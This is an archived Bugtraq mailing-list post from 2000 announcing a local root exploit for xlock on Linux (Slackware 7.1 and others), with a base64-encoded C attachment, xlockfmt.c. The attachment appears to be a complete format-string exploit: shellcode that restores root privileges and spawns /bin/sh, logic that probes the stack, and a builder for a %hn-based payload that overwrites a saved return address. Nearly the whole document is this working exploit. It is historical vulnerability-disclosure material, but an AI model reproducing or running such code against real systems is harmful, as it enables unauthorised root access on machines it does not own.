[17294] in bugtraq
linux xlock exploit
daemon@ATHENA.MIT.EDU (Mr Ben)
Mon Oct 23 12:26:38 2000
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_1bc5_308b_72dc"
Message-Id: <F247vO8nphGVMLzQIHl000011ee@hotmail.com>
Date: Sun, 22 Oct 2000 08:21:44 GMT
Reply-To: Mr Ben <bugtraq_mrben@HOTMAIL.COM>
From: Mr Ben <bugtraq_mrben@HOTMAIL.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format.
------=_NextPart_000_1bc5_308b_72dc
Content-Type: text/plain; format=flowed
Exploit is designed to give root in one try.
Works on Slackware 7.1 and should work on others.
Ben.
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
Share information about yourself, create your own public profile at
http://profiles.msn.com.
------=_NextPart_000_1bc5_308b_72dc
Content-Type: application/octet-stream; name="xlockfmt.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="xlockfmt.c"
LyoKCkV4cGxvaXQgZm9yIHhsb2NrIC1kIGZvcm1hdCBzdHJpbmcgYnVnIG9u
IGkzODYgTGludXguIApCeSBCZW4gV2lsbGlhbXMgMjEgT2N0IDIwMDAuCgpX
b3JrcyBvbiBTbGFja3dhcmUgNy4xLCBSZWRoYXQgNi4yIC0gZGlkIG5vdCBo
YXZlIHNldHVpZCB0aG91Z2gsICBNYW5kcmFrZSA3LjAuClJlZGhhdCA2LjEg
d29uJ3Qgd29yayBiZWNhdXNlIGZwcmludGYgc2VnZmF1bHRzIG9uIGxhcmdl
IHByZWNpc2lvbnMuCgpnY2MgeGxvY2tmbXQuYyAtbyB4bG9ja2ZtdAp1c2Fn
ZTogeGxvY2tmbXQgW29mZnNldF0KRGVmYXVsdCBvZmZzZXQgaXMgNDguCgpQ
cm9ncmFtIGNhbGN1YXRlcyBhbGwgdmFyaWFibGVzIHN1Y2ggYXMgdGFyZ2V0
IHJldHVybiBhZGRyZXNzLCBzaGVsbGNvZGUgYWRkcmVzcwphbmQgdGhlIGZv
cm1hdCBzdHJpbmcgaXRzZWxmLiBUaGUgb25seSB0aGluZyBub3QgY2FsY3Vs
YXRlZCBpcyBhbiBvZmZzZXQgdGhhdCBpcwpkZXBlbmRhbnQgb24gdGhlIHZl
cnNpb24gb2YgeGxvY2sgb3IgaG93IHhsb2NrIHdhcyBjb21waWxlZC4KVGhl
IHRhcmdldCBhZGRyZXNzIGlzIGZwcmludGYoKSdzIHNhdmVkIHJldHVybiBh
ZGRyZXNzLiBUaGlzIGVxdWFscyB0aGUgdmFsdWUgb2YKb3BlbkRpc3BsYXko
KSdzIHNhdmVkIGJhc2UgcG9pbnRlciBsZXNzIG9mZnNldCBieXRlcy4gU2hl
bGxjb2RlIGlzIGFwcGVuZGVkIHRvCnRoZSBmb3JtYXQgc3RyaW5nLgoKClN0
YWNrIHBpY3R1cmU6CnNlZSByZXNvdXJjZS5jLCB4bG9jay5jIAoKIGZwcmlu
dGYoc3RkZXJyLCBidWYpIEEtNDh8IHJldCAgICAgIHwgcmV0dXJuIGFkZHJl
c3MgbG9jYXRlZCBhdCBBIC0gNDggYnl0ZXMuCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgfCBzdGRlcnIgICB8CiAgICAgICAgICAgICAgICAgICAgICAg
ICAgfCBidWYgICAgICB8CiAgICAgICAgICAgZXJyb3IoYnVmKSAgICAgfCBi
cCAgQSAgICB8IGZpcnN0IHZhbHVlIHByaW50ZWQgYnkgZm9ybWF0IHN0cmlu
ZyBpcyBBLgogICAgICAgICAgICAgICAgICAgICAgICAgIHwgcmV0ICAgICAg
fAogICAgICAgICAgICAgICAgICAgICAgICAgIHwgYnVmICAgICAgfApvcGVu
RGlzcGxheShkaXNwbGF5cCkgICAgIHwgYnVmICAgICAgfAogICAgICAgICAg
ICAgICAgICAgICAgICAgIHwgPyAgICAgICAgfAogICAgICAgICAgICAgICAg
ICAgICAgICAgIHwgPyAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAg
ICAgIHwgPyAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgIHwg
PyAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgIHwgPyAgICAg
ICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgQXwgYnAgICAgICAgfCBi
YXNlIHBvaW50ZXIgbG9jYXRlZCBhdCBhZGRyZXNzIEEuCgoKKi8gCgojaW5j
bHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8
c3RyaW5nLmg+CiNpbmNsdWRlIDxlcnJvci5oPgojaW5jbHVkZSA8ZXJybm8u
aD4KI2luY2x1ZGUgPHN5cy9zdGF0Lmg+CiNpbmNsdWRlIDx1bmlzdGQuaD4K
Ci8qIAogKiBkaXN0YW5jZSBmcm9tIGZwcmludGYncyByZXQgdG8gb3BlbkRp
c3BsYXkncyBiYXNlIHBvaW50ZXIgCiAqIHJlZGhhdDYuMiwgc2xhY2t3YXJl
Ny4xID0gNDgKICogbWFuZHJha2U3LjAgPSA2MAogKi8KI2RlZmluZSBPRkZT
RVQgNDgKCiNkZWZpbmUgWExPQ0tfUEFUSCAiL3Vzci9YMTFSNi9iaW4veGxv
Y2siCgojZGVmaW5lIERFQlVHIDAKI2RlZmluZSBGTVRTSVpFIDQwOTYKI2Rl
ZmluZSBDTURTSVpFIEZNVFNJWkUgKyAxMDAKCi8qIG51bWJlciBvZiB3b3Jk
cyB0byBwcmludCBvZmYgdGhlIHN0YWNrIGZvciBhbmFseXNpcyAqLwojZGVm
aW5lIEJJR0JSRUFLRkFTVCA0MDAKCgovKiB4bG9jayBkcm9wcyBwcml2cyBy
aWdodCBhd2F5IHNvIHdlIGhhdmUgdG8gcmVzdG9yZSB0aGVtIGFnYWluLgog
ICBzZXRyZXN1aWQoMCwgMCwgMCkgdGhlbiBleGVjdmUgYSBzaGVsbCAqLwpj
aGFyIHNoZWxsY29kZVtdID0KICAgICAgICAiXHgzMVx4ZDJceDMxXHhjOVx4
MzFceGRiXHgzMVx4YzBceGIwXHhhNFx4Y2RceDgwIiAKICAgICAgICAiXHhl
Ylx4MWZceDVlXHg4OVx4NzZceDA4XHgzMVx4YzBceDg4XHg0Nlx4MDdceDg5
XHg0Nlx4MGNceGIwXHgwYiIKICAgICAgICAiXHg4OVx4ZjNceDhkXHg0ZVx4
MDhceDhkXHg1Nlx4MGNceGNkXHg4MFx4MzFceGRiXHg4OVx4ZDhceDQwXHhj
ZCIKICAgICAgICAiXHg4MFx4ZThceGRjXHhmZlx4ZmZceGZmL2Jpbi9zaCI7
CgoKY2hhciAqbWtmbXQoaW50IHByZWJ1ZiwKICAgICAgICAgICBpbnQgYnJl
YWtmYXN0LAogICAgICAgICAgIHVuc2lnbmVkIGxvbmcgaW50IGxvY2F0aW9u
LAogICAgICAgICAgIHVuc2lnbmVkIGxvbmcgaW50IHZhbHVlKTsKCgppbnQg
bWFpbihpbnQgYXJnYywgY2hhciAqKmFyZ3YpewogICAgRklMRSAqZnA7CiAg
ICBjaGFyIG91dHB1dFs2NTUzNl07CiAgICBjaGFyIGZtdHN0cltGTVRTSVpF
XTsKICAgIGNoYXIgY29tbWFuZFtDTURTSVpFXTsKICAgIGludCBpOwogICAg
Y2hhciAqcDsKICAgIGludCBwcmVidWY7CiAgICBpbnQgYnJlYWtmYXN0Owog
ICAgdW5zaWduZWQgbG9uZyBpbnQgbG9jYXRpb247CiAgICB1bnNpZ25lZCBs
b25nIGludCB2YWx1ZTsKICAgIGludCBzaGVsbGNvZGVfc2l6ZSA9IHNpemVv
ZiBzaGVsbGNvZGU7CiAgICBpbnQgb2Zmc2V0ID0gT0ZGU0VUOwogICAgc3Ry
dWN0IHN0YXQgZjsKCiAgICBpID0gc3RhdChYTE9DS19QQVRILCAmZik7CiAg
ICBpZiAoaSkgZXJyb3IoMSwgZXJybm8sICJ3aGVyZWlzIHhsb2NrPyIpOwog
ICAgaWYgKCEoZi5zdF9tb2RlICYgU19JWE9USCkpIGVycm9yKDEsIDAsICJl
eGVjdXRhYmxlPyIpOwogICAgaWYgKCEoZi5zdF9tb2RlICYgU19JU1VJRCkp
IGVycm9yKDEsIDAsICJub3Qgc2V0dWlkIik7CgogICAgaWYgKGFyZ2MgPiAx
KSB7CiAgICAgICAgb2Zmc2V0ID0gYXRvaShhcmd2WzFdKTsKICAgIH0KCiAg
ICAvKgogICAgICogU2V0dXAgYSBmb3JtYXQgc3RyaW5nIHRvIGFuYWx5c2Ug
dGhlIHN0YWNrLgogICAgICovCiAgICAKICAgIG1lbXNldChvdXRwdXQsIDAs
IDY1NTM2KTsKICAgIG1lbXNldChmbXRzdHIsIDB4MjAsIEZNVFNJWkUpOwoK
ICAgIGZvciAoaSA9IDAsIHAgPSBmbXRzdHI7IGkgPCBCSUdCUkVBS0ZBU1Q7
IGkrKykgeyAgICAKICAgICAgICBtZW1jcHkocCwgIiUuOHggIiwgNSk7CiAg
ICAgICAgcCArPSA1OwogICAgfQoKICAgIC8qIAogICAgICogYmxhbmsgb3V0
IDEwIGJ5dGVzIC0gdGhlIGZpcnN0IHR3byAlLjh4J3MuCiAgICAgKiB0aGlz
IG1ha2VzIHNwYWNlIGZvciB0aGUgcHJlYnVmIGJ5dGVzIGFuZCB0b2tlbi4K
ICAgICAqLwoKICAgIG1lbXNldChmbXRzdHIsIDB4MjAsIDEwKTsgICAKICAg
IGZtdHN0cltGTVRTSVpFIC0gMV0gPSAweDAwOwogICAgCiAgICAvKgogICAg
ICogIEZpbmQgdGhlIG51bWJlciBvZiBwcmVidWYgYnl0ZXMgKDB4MDMncyl0
byB3b3JkIGFsaWduLiAgICAgICAgCiAgICAgKiAgMCB0byAzIGJ5dGVzIG1h
eSBiZSBuZWVkZWQgdG8gc2hvdmUgdGhlIHRva2VuCiAgICAgKiAgMDEwMTAx
MDEgb2YgdGhlIGZtdCBzdHIgb250byBhIHdvcmQgYm91bmRhcnkuCiAgICAg
Ki8KCiAgICBpID0gMDsKICAgIGRvIHsKICAgICAgICBwcmVidWYgPSBpOwog
ICAgICAgIG1lbXNldChmbXRzdHIsIDB4MDMsIGkpOyAgCiAgICAgICAgbWVt
c2V0KGZtdHN0ciArIGksIDB4MDEsIDQpOwogICAgICAgIHNwcmludGYoY29t
bWFuZCwgIiVzIC1kICclcycgMj4mMSIsIFhMT0NLX1BBVEgsIGZtdHN0cik7
CiAgICAgICAgZnAgPSBwb3Blbihjb21tYW5kLCAiciIpOwogICAgICAgIG1l
bXNldChvdXRwdXQsIDAsIDY1NTM2KTsKICAgICAgICBmcmVhZChvdXRwdXQs
IDEwMjQsIDY0LCBmcCk7CiAgICAgICAgZmNsb3NlKGZwKTsKI2lmIERFQlVH
CiAgICAgICAgcHJpbnRmKCI9PT09PT09PSB0cnlpbmcgcHJlYnVmICVkID09
PT09PT1cbiVzIiwgaSwgb3V0cHV0KTsKI2VuZGlmCiAgICAgICAgaSsrOwog
ICAgfSB3aGlsZSAoIXN0cnN0cihvdXRwdXQsICIwMTAxMDEwMSIpICYmIGkg
PCA0KTsgLyogcHJlYnVmIGJ5dGVzIGFsd2F5cyBsZXNzIHRoYW4gNCAqLwoK
ICAgIGlmIChwcmVidWYgPT0gNCl7CiAgICAgICAgZXJyb3IoMSwgMCwgImNv
dWxkIG5vdCBmaW5kIGZtdCBzdHIgb24gdGhlIHN0YWNrIik7CiAgICB9CgoK
ICAgIG1lbXNldChvdXRwdXQsIDB4MjAsIDQwKTsgICAvKiBjbGVhciB0aGUg
J3hsb2NrOiB1bmFibGUgdG8gb3BlbiBkaXNwbGF5JyAqLwogICAgcCA9IHN0
cnRvayhvdXRwdXQsICJceDIwIik7IC8qIGdldCBBICovCgogICAgLyoKICAg
ICAqIFN0b3JlIGVycm9yKCkncyBiYXNlIHB0ciB2YWx1ZSBpbiB2YXIgbG9j
YXRpb24uCiAgICAgKiBUaGVuIGZpbmQgZnByaW50ZigpJ3MgcmV0IGJ5IHN1
YnJhY3Rpbmcgb2Zmc2V0LgogICAgICovCgogICAgbG9jYXRpb24gPSBzdHJ0
b3VsKHAsIE5VTEwsIDE2KTsKICAgIGxvY2F0aW9uIC09IG9mZnNldDsKICAg
IHZhbHVlID0gbG9jYXRpb24gICAgICAgICAgICAgICAgLyogZnByaW50Zidz
IHJldCAqLwogICAgICAgICAgICArIDEyICAgICAgICAgICAgICAgICAgICAv
KiAzIHdvcmRzIHRvIGVycm9yJ3MgYnAgKi8KICAgICAgICAgICAgKyBicmVh
a2Zhc3QgKiA0ICAgICAgICAgLyogYnJlYWtmYXN0IHdvcmRzIHRvIGZtdCBz
dHIgKi8gCiAgICAgICAgICAgICsgRk1UU0laRSAgICAgICAgICAgICAgIC8q
IHRvIGVuZCBvZiBmbXQgc3RyICovCiAgICAgICAgICAgIC0gc2hlbGxjb2Rl
X3NpemUgICAgICAgIC8qIHRvIHN0YXJ0IG9mIHNoZWxsY29kZSAqLwogICAg
ICAgICAgICAtIDEwMDsgICAgICAgICAgICAgICAgICAvKiBwb3NpdGlvbiBp
biB0aGUgTk9QUyBmb3Igc2FmZSBtZWFzdXJlICovCgogICAgLyoKICAgICAq
IFdhbGsgZG93biB0aGUgb3V0cHV0IHN0cmluZyBsb29raW5nIGZvciAwMTAx
MDEwMSwKICAgICAqIGNvdW50aW5nIGhvdyB3aG9sZSBtYW55IHdvcmRzIGVh
dGVuIHRvIGdldCB0aGVyZS4KICAgICAqLwoKICAgIGZvciAoYnJlYWtmYXN0
ID0gMTsgOyBicmVha2Zhc3QrKykgewogICAgICAgIHAgPSBzdHJ0b2soTlVM
TCwgIlx4MjAiKTsKICAgICAgICBpZiAoIXApIGVycm9yKDEsIDAsICJyZWFj
aGVkIGVuZCBvZiBvdXRwdXQgc3RyaW5nIGFuZCBubyAwMTAxMDEwMSIpOwoj
aWYgREVCVUcKICAgICAgICBwcmludGYoImVhdCAlZCB0byByZWFjaCAlc1xu
IiwgYnJlYWtmYXN0LCBwKTsKI2VuZGlmCiAgICAgICAgaWYgKCFzdHJjbXAo
cCwgIjAxMDEwMTAxIikpIGJyZWFrOwogICAgfQoKCiAgICAvKgogICAgICog
bWFrZSB0aGUgZXhwbG9pdCBmbXQgc3RyLgogICAgICovCgogICAgcCA9IG1r
Zm10KHByZWJ1ZiwgYnJlYWtmYXN0LCBsb2NhdGlvbiwgdmFsdWUpOwogICAg
bWVtc2V0KGZtdHN0ciwgMHg5MCwgRk1UU0laRSk7CiAgICBtZW1jcHkoZm10
c3RyLCBwLCBzdHJsZW4ocCkpOwogICAgZnJlZShwKTsKICAgIHAgPSAoY2hh
ciAqKSAmZm10c3RyW0ZNVFNJWkUgLSBzaGVsbGNvZGVfc2l6ZV07CiAgICBz
dHJjcHkocCwgc2hlbGxjb2RlKTsKCiAgICBzcHJpbnRmKGNvbW1hbmQsICIl
cyAtZCAnJXMnIiwgWExPQ0tfUEFUSCwgZm10c3RyKTsKCiNpZiBERUJVRwog
ICAgcHV0cygiPT09PT09IGNvbW1hbmQgbGluZSA9PT09PT0iKTsKICAgIHBy
aW50ZigiJXNcbiIsIGNvbW1hbmQpOwogICAgcHV0cygiPT09PT09IGVuZCBj
b21tYW5kICA9PT09PT0iKTsKCiNlbmRpZgoKICAgIHB1dHMoIj09PT09PSBz
eXN0ZW0oKSA9PT09PT0iKTsKICAgIGkgPSBzeXN0ZW0oY29tbWFuZCk7CiAg
ICBwdXRzKCI9PT09PT0gZW5kIHN5c3RlbSA9PT09PT0iKTsKCiAgICBwcmlu
dGYoIlxuc3lzdGVtKCkgcmV0dXJuZWQgJWRcbiIsIGkpOwogICAgcHJpbnRm
KCJwcmVidWYgd2FzICVkIGJ5dGVzXG4iLCBwcmVidWYpOwogICAgcHJpbnRm
KCJicmVha2Zhc3Qgd2FzICVkIHdvcmRzXG4iLCBicmVha2Zhc3QpOwogICAg
cHJpbnRmKCJsb2NhdGlvbiB3YXMgJS44bHhcbiIsIGxvY2F0aW9uKTsKICAg
IHByaW50ZigidmFsdWUgd2FzICUuOGx4XG4iLCB2YWx1ZSk7CgogICAgcHV0
cygiZXhpdGluZy4iKTsKICAgIHJldHVybiAwOwp9CgoKLyoKICogRnVuY3Rp
b24gdG8gZ2VuZXJhdGUgYSBuYXN0eSBmb3JtYXQgc3RyaW5nLgogKiBNT0RJ
RklFRCBGT1IgWExPQ0sgRVhQTE9JVCBPTkxZLiAKICogYnJlYWtmYXN0IC0g
bnVtYmVyIG9mIHdvcmRzIHRvIGVhdCBiZWZvcmUgcmVhY2hpbmcgMDEwMTAx
MDEuCiAqIGxvY2F0aW9uIC0gbWVtb3J5IGFkZHJlc3MgdG8gd3JpdGUgdG8u
CiAqIHZhbHVlIC0gdmFsdWUgdG8gd3JpdGUuCiAqCiAqIFJlc3VsdGluZyBz
dHJpbmcgbG9va3Mgc29tZXRoaW5nIGxpa2UgdGhpczoKICoKICogICAgICAi
XHgwM1x4MDNceDAzIiAgICAgICAgICAwIHRvIDMgYnl0ZXMgdXNlZCB0byBh
bGlnbiBuZXh0IHZhbHVlIG9uIGEgd29yZCBib3VuZGFyeS4KICogICAgICAi
XHgwMVx4MDFceDAxXHgwMSIgICAgICB0aGlzIG11c3QgYmUgYWxpZ25lZCBv
biBhIHdvcmQgYm91bmRhcnkuCiAqICAgICAgIlx4ZmNceGZhXHhmZlx4YmYi
ICAgICAgZmlyc3Qgd3JpdGUgYWRkcmVzcy4KICogICAgICAiXHgwMVx4MDFc
eDAxXHgwMSIKICogICAgICAiXHhmZVx4ZmFceGZmXHhiZiIgICAgICBzZWNv
bmQgd3JpdGUgYWRkcmVzcy4KICogICAgICAiJS44eCUuOHglLjh4IiAgICAg
ICAgICB0aGlzIGV4YW1wbGUgYnJlYWtmYXN0ID0gMy4KICogICAgICAiJS40
NTc4MGx4IiAgICAgICAgICAgICB0aGlzIG11c3Qgd3JpdGUgdGhlIGZpcnN0
IDAxMDEwMTAxIAogKiAgICAgICIlaG4iCiAqICAgICAgIiUuMzM3MWx4IiAg
ICAgICAgICAgICAgd3JpdGVzIHRoZSBzZWNvbmQgMDEwMTAxMDEKICogICAg
ICAiJWhuIgogKiAgICAgIAogKi8KCmNoYXIgKm1rZm10KGludCBwcmVidWYs
CiAgICAgICAgICAgIGludCBicmVha2Zhc3QsCiAgICAgICAgICAgIHVuc2ln
bmVkIGxvbmcgaW50IGxvY2F0aW9uLAogICAgICAgICAgICB1bnNpZ25lZCBs
b25nIGludCB2YWx1ZSkKewogICAgY2hhciAqYnVmOwogICAgdW5zaWduZWQg
bG9uZyBpbnQgZGVzdF9hZGRyWzJdOwogICAgdW5zaWduZWQgaW50IHByZWNp
c2lvblsyXTsKICAgIHVuc2lnbmVkIGludCBzbWFsbDsgIC8qIHNtYWxsIGhh
bGYgb2YgdmFsdWUgKi8KICAgIHVuc2lnbmVkIGludCBiaWc7ICAgIC8qIGJp
ZyBoYWxmIG9mIHZhbHVlICovCiAgICBjaGFyICpwOwogICAgaW50IGk7CiAg
ICAKICAgIGJ1ZiA9IChjaGFyICopIG1hbGxvYygyMDApOyAKICAgIGlmICgh
YnVmKSB7CiAgICAgICAgZXJyb3IoMSwgZXJybm8sICJmYWlsZWQgdG8gbWFs
bG9jIik7CiAgICB9CiAgICAKICAgIGJpZyA9IHZhbHVlICYgMHgwMDAwZmZm
ZjsgICAgICAgIC8qIGdyYWIgdGhlIDIgbG93IG9yZGVyIGJ5dGVzICovCiAg
ICBzbWFsbCA9ICh2YWx1ZSAmIDB4ZmZmZjAwMDApID4+IDE2OyAgIC8qIGFu
ZCB0aGUgMiBoaWdoIG9yZGVyICovCgogICAgaWYgKGJpZyA8IHNtYWxsKSB7
CiAgICAgICAgYmlnIF49IHNtYWxsOyBzbWFsbCBePSBiaWc7IGJpZyBePSBz
bWFsbDsKICAgICAgICBkZXN0X2FkZHJbMF0gPSBsb2NhdGlvbjsKICAgICAg
ICBkZXN0X2FkZHJbMV0gPSBsb2NhdGlvbiArMjsKICAgIH0KICAgIGVsc2Ug
ewogICAgICAgIGRlc3RfYWRkclswXSA9IGxvY2F0aW9uICsyOwogICAgICAg
IGRlc3RfYWRkclsxXSA9IGxvY2F0aW9uOwogICAgfQoKICAgIHAgPSBidWY7
CiAgICBtZW1zZXQocCwgMHgwMywgcHJlYnVmKTsKICAgIHAgKz0gcHJlYnVm
OwogICAgbWVtY3B5KHAsICJceDAxXHgwMVx4MDFceDAxIiwgNCk7CiAgICBw
ICs9IDQ7CiAgICBtZW1jcHkocCwgKGNoYXIgKikmZGVzdF9hZGRyWzBdLCA0
KTsKICAgIHAgKz0gNDsgCiAgICBtZW1jcHkocCwgIlx4MDFceDAxXHgwMVx4
MDEiLCA0KTsKICAgIHAgKz0gNDsKICAgIG1lbWNweShwLCAoY2hhciAqKSZk
ZXN0X2FkZHJbMV0sIDQpOwogICAgcCArPSA0OwoKICAgIGZvciAoaT0wOyBp
IDwgYnJlYWtmYXN0OyBpKyspewogICAgICAgIG1lbWNweShwLCAiJS44eCIs
IDQpOwogICAgICAgIHAgKz0gNDsKICAgIH0KCiAgICAvKiB0aGUgMzAgY2hh
cnMgYXJlIHRoZSAneGxvY2s6IHVuYWJsZSB0byBvcGVuLi4uJyAqLwoKICAg
IHByZWNpc2lvblswXSA9IHNtYWxsIC0gKDggKiBicmVha2Zhc3QgKyAxNiAr
IHByZWJ1ZiArIDMwKTsKICAgIHByZWNpc2lvblsxXSA9IGJpZyAtIHNtYWxs
OyAgICAKCiNpZiBERUJVRwogICAgc3RyY2F0KGJ1ZiwgIlxuRmlyc3QgcHJp
bnQgJS44eFxuIik7CiAgICBzdHJjYXQoYnVmLCAiRmlyc3Qgd3JpdGUgJS44
eFxuIik7CiAgICBzdHJjYXQoYnVmLCAiU2Vjb25kIHByaW50ICUuOHhcbiIp
OwogICAgc3RyY2F0KGJ1ZiwgIlNlY29uZCB3cml0ZSAlLjh4XG4iKTsKCiNl
bHNlCiAgICBzcHJpbnRmKHAsICIlJS4lZHglJWhuJSUuJWR4JSVobiIsIHBy
ZWNpc2lvblswXSwgcHJlY2lzaW9uWzFdKTsKCiNlbmRpZgogICAgcmV0dXJu
IGJ1ZjsKCn0K
------=_NextPart_000_1bc5_308b_72dc--
